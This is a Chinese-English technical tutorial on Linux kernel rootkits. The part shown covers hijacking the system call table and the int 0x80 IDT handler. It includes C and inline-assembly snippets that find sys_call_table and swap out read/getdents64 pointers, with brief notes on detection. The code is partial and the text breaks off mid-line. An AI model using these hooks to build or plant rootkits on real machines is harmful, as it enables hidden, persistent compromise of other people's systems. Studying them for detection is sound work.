目录
1. The Purpose Of Rootkit 2. Syscall Hijack 3. LKM Module Hidden 4. Network Communication Hidden 5. File Hidden 6. Process Hidden 7. Hidden Port Remote Reverse Connections 8. Programe Replacing
1. The Purpose Of Rootkit
Basically, the purpose of rootkit is as follows
1. The Purpose Of Rootkit 2. Syscall Hijack 3. LKM Module Hidden 4. Network Communication Hidden 5. File Hidden 6. Process Hidden 7. Hidden Port Remote Reverse Connections 8. Programe Replacing从大的方向上来分类,当前的rootkit技术一个核心词就是"hook",围绕着怎么劫持、劫持谁这2个问题,衍生出了非常多的底层rootkit技术(有别于传统的应用层PATH劫持、指令程序替换重定向等技术)
1. VFS劫持(/proc下操作句柄劫持) 2. Kernel劫持(kernel中断劫持)从架构层级上来看,Kernel比VFS的层级更低,使用kernel劫持方式能获得更加底层的劫持效果,但是相对的,现在也有很多kernel的劫持检测技术,为了规避这个问题,所以有的rootkit采用了VFS的劫持技术,以此来绕过kernel检测技术,但是因此付出的代价就是劫持的效果会下降
Relevant Link:
http://files.cnblogs.com/LittleHann/hook_the_kernel_WNPS.pdfhttp://jaseywang.me/2011/01/04/vfs-kernel-space-user-space-2/
2. Syscall Hijack
0x1: SYS_CALL_TABLE Functions Address Pointer Hook Hijack
By directly replacing the system call function table pointer address, in order to achieve the purpose of system call hijacking
code
/* 1. 通过"中断寄存器"获取中断描述符表(IDT)的地址(使用C ASM汇编) */ asm("sidt %0":"=m"(idt48)); /* 2. 从中查找0x80中断("0x80中断"就是"系统调用中断")的服务例程(8*0x80偏移) "中断描述符表(IDT)"中有很多项,每项8个字节,而第0x80项才是系统调用对应的中断 struct descriptor_idt { unsigned short offset_low; unsigned short ignore1; unsigned short ignore2; unsigned short offset_high; }; static struct { unsigned short limit; unsigned long base; }__attribute__ ((packed)) idt48; */ pIdt80 = (struct descriptor_idt *)(idt48.base + 8*0x80); system_call_addr = (pIdt80->offset_high << 16 | pIdt80->offset_low); /* 3. 搜索该例程的内存空间,获取"系统调用函数表"的地址("系统调用函数表"根据系统调用号作为索引保存了linux系统下的所有系统调用的入口地址) */ for (i=0; i<100; i++) { if (p=='\xff' && p[i+1]=='\x14' && p[i+2]=='\x85') { sys_call_table = *(unsigned int*)(p+i+3); printk("addr of sys_call_table: %x\n", sys_call_table); return ; } } /* 4. 将sys_call_table作为基址,根据系统调用号作为索引,替换指定的系统调用的函数地址指针(替换前需要获取原始的系统调用地址,在hook函数执行完毕后要将控制流继续导向原始系统调用而不影响系统运行) */ orig_read = sys_call_table[__NR_read]; orig_getdents64 = sys_call_table[__NR_getdents64]; .. replace ..攻击前提
1. 黑客已经获取了root帐号的权限 2. 黑客能够有权限执行insmod加载LKM驱动防御策略
1. 枚举内核空间中的系统调用表(一个全局变量)的每一项是否都处于内核text节区中 Detect any syscall address from the global table that is outside kernel text section 1) KJ_SYSCALL_TABLE_SYM 2) KJ_MODULE_KSET_SYM 3) KJ_CORE_KERN_TEXT_SYM0x2: Int 0x80 Interrupt Handler Hook Hijack Based On IDT Register
相比与系统调用表劫持技术,80中断劫持技术将hook点选在了代码逻辑的更上游的地方,关于系统调用劫持和80中断表劫持的区别,如下图所示
code
/* 1. 通过"中断寄存器"获取中断描述符表(IDT)的地址(使用C ASM汇编) */ asm("sidt %0":"=m"(idt48)); /* 2. 从中查找0x80中断("0x80中断"就是"系统调用中断")的服务例程(8*0x80偏移) "中断描述符表(IDT)"中有很多项,每项8个字节,而第0x80项才是系统调用对应的中断 struct descriptor_idt { unsigned short offset_low; unsigned short ignore1; unsigned short ignore2; unsigned short offset_high; }; static struct { unsigned short limit; unsigned long base; }__attribute__ ((packed)) idt48; */ pIdt80 = (struct descriptor_idt *)(idt48.base + 8*0x80); system_call_addr = (pIdt80->offset_high << 16 | pIdt80->offset_low); /* 3. 搜索该例程的内存空间,获取"系统调用函数表"的地址("系统调用函数表"根据系统调用号作为索引保存了linux系统下的所有系统调用的入口地址) */ for (i=0; i<100; i++) { if (p=='\xff' && p[i+1]=='\x14' && p[i+2]=='\x85') { sys_call_table = *(unsigned int*)(p+i+3); printk("addr of sys_call_table: %x\n", sys_call_table); return ; } } /* 4. 将sys_call_table作为基址,根据系统调用号作为索引,获取指定的系统调用的函数地址指针,因为我们通过劫持80中断进而达到系统调用劫持的目的后,还需要将代码控制流重新导向原始的系统调用 */ orig_read = sys_call_table[__NR_read]; orig_getdents64 = sys_call_table[__NR_getdents64]; .. replace .. /* 5. 直接替换IDT中的某一项,也就是我们需要通过代码模拟原本"系统调用中断例程(IDT[0x80])"的代码逻辑 */ void new_idt(void) { ASMIDType ( "cmp %0, %